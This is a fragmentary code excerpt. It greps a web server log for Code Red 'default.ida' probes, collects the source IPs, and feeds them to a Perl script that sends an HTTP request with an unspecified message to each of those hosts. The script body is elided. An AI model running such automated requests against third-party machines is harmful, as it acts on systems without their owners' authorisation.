Select Code to Download

grep 'default.ida' /path/to/access_log | awk {'print $1'} | sort -n | 
+uniq | this_perl_script.pl

#!/usr/bin/perl -w

...
        my $full_url = "http:\/\/$ipaddress\/$message";
        my $junk = get($full_url);
        }